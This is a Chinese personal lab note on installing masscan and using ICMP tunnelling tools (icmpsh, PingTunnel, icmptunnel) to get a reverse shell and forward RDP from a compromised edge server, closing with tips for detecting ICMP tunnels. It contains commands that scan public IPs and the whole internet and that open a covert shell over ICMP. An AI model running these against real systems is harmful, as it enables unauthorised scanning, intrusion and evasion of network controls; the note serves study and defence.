8月15日笔记

masscan安装使用

首先需要有c编译器环境。查看是否有c编译器环境:

复制代码
gcc -v

如果系统中已经安装了 GCC,这个命令将输出 GCC 的版本信息。如果未安装,你会看到类似于 "command not found" 的错误消息。

如果没有下载,使用如下命令:

复制代码
sudo apt-get --assume-yes install git make gcc

masscan下载

复制代码
git clone https://github.com/robertdavidgraham/masscan

文件会下载到你打开命令行显示的路径下。

复制代码
cd masscan  #第一步
make  #第二步

执行之后会在masscan/bin下生成一个可执行文件。

执行命令:

复制代码
make install

安装完成。

用法

扫描某IP的部分端口

复制代码
masscan 183.2.172.185 -p 0-400          #扫描指定IP下的0-400端口

高速扫描某ip下的端口

复制代码
masscan -p 1-2000 125.217.52.215 --max-rate 100000  #扫描整个子网下1-2000端口
复制代码
masscan 125.217.52.215 --top-ports 100 > result.txt       #扫描结果另存为result.txt文件

扫描整个互联网😅

复制代码
masscan 0.0.0.0/0 -p0-65535 --max-rate 100000		//扫描整个互联网

只有ICMP协议出网场景

ICMP是一个比较特殊的协议,在一般的通信协议里如果两台设备要进行通信,肯定需要开放端口,而在ICMP协议下就不需要,最常见的ICMP消息为ping命令的回复,攻击者可以利用命令行得到比回复更多的ICMP请求,在通常情况下,每个ping命令都有相对应的回复与请求.

在内网中,如果攻击者使用 HTTP、DNS 等应用层隧道都失败了,那么或许可以试试网络层的 ICMP 隧道。

常用的ICMP隧道工具有icmpsh、PingTunnel、icmptunnel、powershell icmp等。

icmpsh工具安装使用

icmpsh工具使用简单,便于"携带"(跨平台),运行时不需要管理员权限。下载命令。

复制代码
git clone https://github.com/inquisb/icmpsh.git

攻击机和边缘服务器(被攻击者获取shell)都要安装。

因为icmpsh工具要代替系统本身的ping命令的应答程序,所以需要输入以下命令来关闭本地系统的ICMP应答(如果需要回复系统应答,则设置为0即可),否则shell的运行会不稳定(表现为一直刷屏,无法进行交互输入):

复制代码
sysctl -w net.ipv4.icmp_echo_ignore_all=1

查看如何使用,根据脚本使用方法在终端执行以下命令:

复制代码
python2 icmpsh_m.py 192.168.5.128 192.168.5.138

发现需要impacket安装包。使用命令

复制代码
apt-get install python-impacket

发现找不到包。直接到github上找到源代码自己安装。

复制代码
git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
python2 setup.py install
命令全部执行完之后可以把git下来的文件删掉了。

之后在边缘web服务器上执行以下命令:

复制代码
icmpsh.exe -t 192.168.5.128


现在我们可以在攻击者的主机看到目标主机的shell。有点乱码,使用命令chcp 65001

PingTunnel的安装使用

经过浏览了数篇文章,发现icmpsh还是有些不足。第一,不能跨平台,其客户端只有icmpsh.exe针对windows的二进制文件,遇到靶机是*inux环境无法使用。第二,icmpsh本质上还不是一个隧道,只是一个反弹shell。第三,icmpsh没有密码认证机制,shell很可能被盗用。

PingTunnel是一款常用的ICMP隧道工具,可以跨平台使用,为了避免隧道被滥用,可以为隧道设置密码。
libpcap 是一个跨平台的 C 语言库,用于捕获和分析网络数据包。

安装libpcap的依赖环境

复制代码
apt-get install byacc
apt-get install flex bison

安装libpcap依赖库

复制代码
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -xzvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install

安装PingTunnel

复制代码
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install

但是由于环境限制,我这里无法进行复现,那个pingtunnel环境是攻击机(kali)和边缘服务器(linux类型的)都要安装的。我这里只有windows边缘服务器😭。(暂停,以后有机会再搞)

icmptunnel安装使用

icmptunnelicmpsh 都是基于 ICMP 协议的隧道工具,但它们在功能上有所不同:icmptunnel 更侧重于提供一个稳定的、加密的双向数据传输隧道,支持多种加密方式,适用于长时间稳定连接的需求,如远程桌面或文件传输;而 icmpsh 则更偏向于提供一个交互式的 shell 环境,主要用于命令执行和简单文件传输。

首先去github下载项目:https://github.com/T3rry7f/ICMPTunnel

之后在拿到权限的边界服务器端禁用icmp回复:

复制代码
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

之后执行IcmpTunnel.py脚本:

复制代码
python IcmpTunnel_S.py

之后再攻击主机执行以下命令:

复制代码
python IcmpTunnel_C.py {serverIP} {needConnectIP} {needConnectPort}

之后在边界Server端返回一个port并在攻击主机端使用返回的port进行远程连接,此时的ip为边界服务器的ip地址:

复制代码
rdesktop 192.168.5.128:44171

隧道防御

使用ICMP隧道时会产生大量的ICMP数据包,我们可以通过Wireshark进行ICMP数据包分析,以检测恶意ICMP流量。

  • 检测同一来源的ICMP数据包的数量,一个正常的ping命令每秒最多发送两个数据包,而使用ICMP隧道的浏览器会在很短的时间内产生上千个ICMP数据包
  • 注意哪些Payload大于64bit的ICMP数据包
  • 寻找响应数据包中的Payload与请求数据包中的Payload不一致的ICMP数据包。
  • 检查ICMP数据包的协议标签,例如:icmptunnel会在所有的ICMP Payload前面添加"TUNL"标记来标识隧道------这就是特征。
相关推荐
_Kayo_5 分钟前
node.js 学习笔记3 HTTP
笔记·学习
星星火柴9364 小时前
关于“双指针法“的总结
数据结构·c++·笔记·学习·算法
Cx330❀6 小时前
【数据结构初阶】--排序(五):计数排序,排序算法复杂度对比和稳定性分析
c语言·数据结构·经验分享·笔记·算法·排序算法
小幽余生不加糖7 小时前
电路方案分析(二十二)适用于音频应用的25-50W反激电源方案
人工智能·笔记·学习·音视频
..过云雨7 小时前
01.【数据结构-C语言】数据结构概念&算法效率(时间复杂度和空间复杂度)
c语言·数据结构·笔记·学习
岑梓铭8 小时前
考研408《计算机组成原理》复习笔记,第五章(3)——CPU的【数据通路】
笔记·考研·408·计算机组成原理·计组
Blossom.11814 小时前
把 AI 推理塞进「 8 位 MCU 」——0.5 KB RAM 跑通关键词唤醒的魔幻之旅
人工智能·笔记·单片机·嵌入式硬件·深度学习·机器学习·搜索引擎
草莓熊Lotso15 小时前
《吃透 C++ 类和对象(中):const 成员函数与取地址运算符重载解析》
c语言·开发语言·c++·笔记·其他
玖別ԅ(¯﹃¯ԅ)16 小时前
PID学习笔记6-倒立摆的实现
笔记·stm32·单片机
想学全栈的菜鸟阿董17 小时前
Django5个人笔记
笔记